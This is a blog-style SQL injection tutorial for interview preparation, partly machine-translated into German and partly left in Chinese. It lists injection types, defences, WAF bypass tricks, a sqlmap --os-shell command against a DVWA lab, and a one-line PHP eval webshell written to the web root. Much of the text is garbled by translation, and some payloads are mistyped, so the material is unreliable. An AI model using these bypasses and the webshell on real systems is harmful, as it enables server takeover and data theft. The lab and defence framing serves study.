[Detaillierte Erläuterung der SQL-Injection]


Vorwort

SQL-Injection ist eine häufige Frage in Interviews zur Netzwerksicherheit. In dieser Ausgabe werden hauptsächlich das Prinzip der SQL-Injection, Brandschutzmaßnahmen usw. sowie verschiedene Arten wie Secondary-Injection und Wide-Byte-Injection vorgestellt.


Thema


1. Das Prinzip der SQL-Injection, Gefahren, Typen, Schutzmaßnahmen, Bypass-Methoden, Voraussetzungen für das Schreiben in Webshell

Prinzip:

Im Prozess der Programmentwicklung wird das SQL-Schlüsselwort aufgrund der mangelnden Beachtung von Schreibstandards nicht gefiltert, sodass der Client die SQL-Anweisung über POST oder GET an den Server senden kann, um normal ausgeführt zu werden.
Bei der SQL-Injection werden SQL-Befehle in Webformulare eingefügt, um Abfragezeichenfolgen für Domänennamen oder Seitenanfragen zu übermitteln oder einzugeben und schließlich den Server dazu zu verleiten, bösartige SQL-Befehle auszuführen.

Schaden:

1)攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。2)通过操作数据库对某些网页进行篡改。3)修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;攻击者进而可以对网页进行篡改,发布一些违法信息等。4)服务器被远程控制,被安装后门。可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。5)数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。6)破坏硬盘数据,导致全系统瘫痪。

Typ:

1. Gelenkinjektion

Allgemeiner Ablauf:

1.查找注入点
2.验证注入类型(数字,字符)
3.判断闭合类型(‘ ||||)4.判断字段数(order by || group by)
5.判断回显位(union select)
6.查数据库名
7.查表名,字段名
8.查表中具体数据

2. Fehlerinjektion

Gemeinsame Funktionen:

1.extractvalue(1,concat('~',(select database())))
2.updatxml(1,concat('~'(select database())),3)
3.floor()

3. Boolescher Blind

Üblicher Ablauf:

1.利用length()函数判断数据库名长度
2.再利用substr(),或者substring()函数对数据库名截取单个字符
3.利用ascii()函数将其转换为asc码,确定字符,依次进行
4.再猜表名,流程和上面一样

Diese Methode ist sehr zeitaufwändig und es kann schneller sein, Brupsuite Blasting zusammen zu verwenden, oder Sie können DNS_log Blind Injection ausprobieren

4. Zeit-Blinds

Allgemeiner Ablauf:

和布尔盲注很类似,只需要增加使用if()函数和sleep()函数

5. Zweite Injektion

Prinzip:
Das Prinzip der sekundären Injektion verwendet beim erstmaligen Einfügen von Daten in die Datenbank nur Addslashes oder get_magic_quotes_gpc, um die darin enthaltenen Sonderzeichen zu maskieren. Addslashes verfügt jedoch über eine Funktion, mit der die Parameter nach dem Filtern zwar gefiltert werden. Hinzufügen "\ " zu entkommen, aber „\“ wird nicht in die Datenbank eingefügt und die Originaldaten bleiben beim Schreiben in die Datenbank erhalten.
Nach der Speicherung der Daten in der Datenbank hält der Entwickler die Daten für glaubwürdig. Wenn die nächste Abfrage erforderlich ist, werden die fehlerhaften Daten ohne weitere Prüfung und Verarbeitung direkt aus der Datenbank entfernt, was zu einer sekundären SQL-Injection führt.
Wenn Sie beispielsweise Daten zum ersten Mal einfügen, enthalten die Daten einfache Anführungszeichen und werden direkt in die Datenbank eingefügt. Beim Zusammenfügen bei der nächsten Verwendung wird dann eine sekundäre Injektion gebildet.

SQLIlab lesson-24
注册一个名为admin' #的用户,密码为123456
再用admin‘ #用户登录 ,修改密码为 123
结果admin' #用户的密码并没有被修改,而admin的密码被修改了,为123
因为此处的sql语句为
update users set password=123 where username='admin'#' and pass='xxx'
很明显修改的是admin的密码,后面被注释了,这就是二次注入

Sekundäre Injektionsschutzmaßnahmen:

1)对外部提交数据谨慎,以及sql注入通用的防范措施2)从数据库取数据时,不能轻易相信查询出的数据,要做到同样的转义或是甄别

6. Wide-Byte-Injection (%df)

Gemeinsame Funktionen umgehen:

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string() 转义一个字符串

Was sind Narrow-, Wide- und Common-Wide-Kodierungen:

当某字符的大小为一个字节时,称其字符为窄字节.
当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

Prinzip:
Die Wide-Byte-Injection ist hauptsächlich auf die Tatsache zurückzuführen, dass der Programmierer die Datenbankcodierung und die PHP-Codierung auf zwei unterschiedliche Codierungsformate einstellt, was zu einer Wide-Byte-Injection führt

Wenn die Datenbank GBK-Codierung verwendet und die PHP-Codierung UTF8 ist, können Injektionsprobleme auftreten. Der Grund dafür ist, dass Programmierer zur Verhinderung der SQL-Injection mehrere oben eingeführte Funktionen aufrufen, um einfache Anführungszeichen oder doppelte Anführungszeichen zu umgehen. Escape ist nichts anderes als Das Hinzufügen eines Schrägstrichs vor den einfachen oder doppelten Anführungszeichen als Escapezeichen ist jedoch nicht sicher, da die Datenbank eine Wide-Byte-Kodierung verwendet und zwei miteinander verbundene Zeichen als chinesische Zeichen betrachtet werden. Die in PHP verwendete UTF8-Kodierung wird als zwei Zeichen betrachtet unabhängige Zeichen. Wenn wir vor dem einfachen oder doppelten Anführungszeichen ein Zeichen (%df) hinzufügen, wird es in Kombination mit dem Schrägstrich (\) als chinesisches Zeichen behandelt, wodurch das einfache oder doppelte Anführungszeichen erhalten bleibt. Doppelte Anführungszeichen erstellen Es funktioniert als Anwendung.

Der ASCII-Code des hinzugefügten Zeichens muss jedoch größer als 128 sein, und die beiden Zeichen können zu chinesischen Schriftzeichen kombiniert werden, da der vorherige ASCII-Code größer als 128 sein muss, um den Bereich chinesischer Schriftzeichen zu erreichen.

Maßnahmen zum Schutz vor Wide-Byte-Injection:

1)使用mysql_set_charset(GBK)指定字符集2)使用mysql_real_escape_string进行转义
原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现两个字符拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?
就是使用mysql_set_charset进行指定。3)使用 UTF-8 字符集来减轻注入情况;4)统一数据库、Web 应用、操作系统所使用的字符集,避免解析产生差异;

Schutzmaßnahmen:

1.限制数据类型
2.正则表达式匹配传入参数(过滤掉常用注入语句,select,andunion,order by)
3.字符转义
4.预编译语句(目前最有效的方式,将数据与代码分离的方式,把传入的参数绑定为一个变量,不会被当做之前的SQL语句被带入数据库执行,避免了类似sql语句拼接、闭合等非法操作)
5.使用数据库自带的安全参数

Bypass-Methode:


1.大小写,重写
2.URL编码特殊字符
3.内联注释,搭配%0A
4.同功能函数替换.替换information_schema为sys.schema_table_statistics_with-buffer爆表名.substring()被WAF过滤,但substring()可以用同功能的mid()substr()等函数来替换,都是用来取字符串的某一位字符的。
5.逗号过滤,可使用join注入.id=1 union select * from (select 1)a join (select 2)b join (select 3)c --+    代替 union select 1,2,3.使用join爆列名,但必须要有报错回显,:select * from (select * from users as a join users as b using (id,password)as c 
6.
brupsuite-post分块传输(添加字段Transfor-Encoding:Chunked ,0 0 回车结尾,可借助插件)
dnslog盲注
join函数超大数据包(仅限于post提交方式,)绕过

Voraussetzungen für das Schreiben in die Webshell:

1.有网站当前目录的绝对路径 @@datadir
2.mysql服务对网站的网络路径有写权限
启动phpstudy,在my.ini中添加此句
secure_ file _ priv=’’ 表示不限制写入或导出
3.mysql连接用户有file权限
4.未对sql语句进行转义

2. Der Unterschied zwischen Versionen oberhalb und unterhalb von MySQL5.0

1. Mysql5.0 und Versionen über 5.0 verfügen über eine integrierte Systemdatenbank namens information_schema, Versionen unter 5.0 existieren jedoch nicht.
information_schema enthält diese Tabellen: Schemata, Tabellen, Spalten.
Diese drei Tabellen speichern nacheinander Felder: (Schemaname), (Tabellenname, Tabellenschema), (Tabellenschema, Tabellenname, Spaltenname)
2. Die zweite ist, dass es sich bei über 5.0 um Mehrbenutzer und bei unter 5.0 um Einzelbenutzer handelt.

3. sqlmap schreibt einen Satz Trojanisches Pferd

Rufen Sie die Shell über den Parameter sqlmap --os-shell ab und führen Sie den Befehl echo aus, um einen Satz zu schreiben. Der
Parameter sqlmap --os-shell des Trojaners führt
das Prinzip von sqlmaps --os-shell in die MySQL-Datenbank ein. php.
Einer davon stellt uns eine Datei-Upload-Seite zur Verfügung, über die Skriptdateien in das aktuelle Verzeichnis hochgeladen werden können.
Die andere besteht darin, die Befehlszeile zurückzugeben, die es uns ermöglicht, den Systembefehl auszuführen, also die Shell abzuprallen, oder den Systembefehl durch Übergabe des cmd-Parameters in der Webseiten-URL auszuführen.

Beispiel: Das Folgende ist ein Experiment zum Schreiben eines Ein-Satz-Trojaners unter Verwendung der SQLMap, die in der lokal erstellten DVWA-Umgebung erstellt wurde

1. Melden Sie sich zuerst bei dvwa an und ändern Sie den Sicherheitsmodus auf „Niedrig“.

2. Melden Sie sich dann erneut an und verwenden Sie bp, um Pakete zu erfassen und Cookies zu erhalten.

3. Erhalten Sie den aktuellen absoluten Pfad direkt durch manuelle Injektion
Fügen Sie hier eine Bildbeschreibung ein

4. Geben Sie dvwa ein, um die URL zu kopieren, verwenden Sie den Parameter sqlmap --os-shell, um die Shell abzurufen, und setzen Sie das zuvor erhaltene Cookie

sqlmap -u "http://10.40.1.22/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie  "security=low; PHPSESSID=6717e20fcdcc2c69cd498094bc27817d" --os-shell

Fügen Sie hier eine Bildbeschreibung einFügen Sie hier eine Bildbeschreibung ein
Sie können sehen, dass die Systemberechtigung direkt eingeholt wurde

5. Als nächstes können Sie die Echo-Anweisung verwenden, um einen Satz „Trojanisches Pferd“ zu schreiben

echo "<?php @eval($_POST[123]); ?>" > D:/phpStudy/PHPTutorial/WWW/hepeng.php

Fügen Sie hier eine Bildbeschreibung ein
6. Die Überprüfung der Ant Sword-Verbindung ist erfolgreich
Fügen Sie hier eine Bildbeschreibung ein


Zusammenfassen

In dieser Ausgabe wird hauptsächlich das Wissen über die SQL-Injektion vorgestellt

Supongo que te gusta

Origin blog.csdn.net/qq_61872115/article/details/126380325
Recomendado
Clasificación